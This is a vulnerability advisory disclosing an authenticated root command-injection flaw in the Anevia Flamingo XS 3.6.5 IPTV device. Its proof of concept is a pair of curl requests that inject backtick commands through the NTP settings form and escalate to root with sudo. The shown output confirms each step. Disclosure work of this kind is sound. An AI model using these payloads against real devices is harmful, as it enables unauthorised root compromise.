Anevia Flamingo XS 3.6.5 Authenticated Root Remote Code Execution Vendor: Ateme Product web page: https://www.ateme.com Affected version: 3.6.5 Hardware revision: 1.1 SoapLive 2.4.0 SoapSystem 1.3.1 Summary: Flamingo XL, a new modular and high-density IPTV head-end product for hospitality and corporate markets. Flamingo XL captures live TV and radio content from satellite, cable, digital terrestrial and analog sources before streaming it over IP networks to STBs, PCs or other IP-connected devices. The Flamingo XL is based upon a modular 4U rack hardware platform that allows hospitality and corporate video service providers to deliver a mix of channels from various sources over internal IP networks. Desc: The affected device suffers from authenticated remote code execution vulnerability. A remote attacker can exploit this issue and execute arbitrary system commands granting her system access with root privileges. Tested on: GNU/Linux 3.14.29 (x86_64) Apache/2.2.22 (Debian) PHP/5.6.0-0anevia2 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5778 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5778.php 13.04.2023 -- $ curl -sL "http://192.168.1.1/admin/time.php" -H "Cookie: PHPSESSID=o4pan20dtnfb239trffu06pid4" -d "ntp_hosts%5B%5D=&ntp_hosts%5B%5D=%60id%60&ntp_address=&update=Apply&request=ntp" |findstr www-data <td>uid=33(www-data)</td> <input type="hidden" name="ntp_hosts[]" value="uid=33(www-data)"/> <td>gid=33(www-data)</td> <input type="hidden" name="ntp_hosts[]" value="gid=33(www-data)"/> <td>groups=33(www-data),6(disk),25(floppy)</td> <input type="hidden" name="ntp_hosts[]" value="groups=33(www-data),6(disk),25(floppy)"/> --- $ curl -sL "http://192.168.1.1/admin/time.php" -H "Cookie: PHPSESSID=o4pan20dtnfb239trffu06pid4" -d "ntp_hosts%5B%5D=&ntp_hosts%5B%5D=%60sudo%20id%60&ntp_address=&update=Apply&request=ntp" |findstr root <td>uid=0(root)</td> <input type="hidden" name="ntp_hosts[]" value="uid=0(root)"/> <td>gid=0(root)</td> <input type="hidden" name="ntp_hosts[]" value="gid=0(root)"/> <td>groups=0(root)</td> <input type="hidden" name="ntp_hosts[]" value="groups=0(root)"/>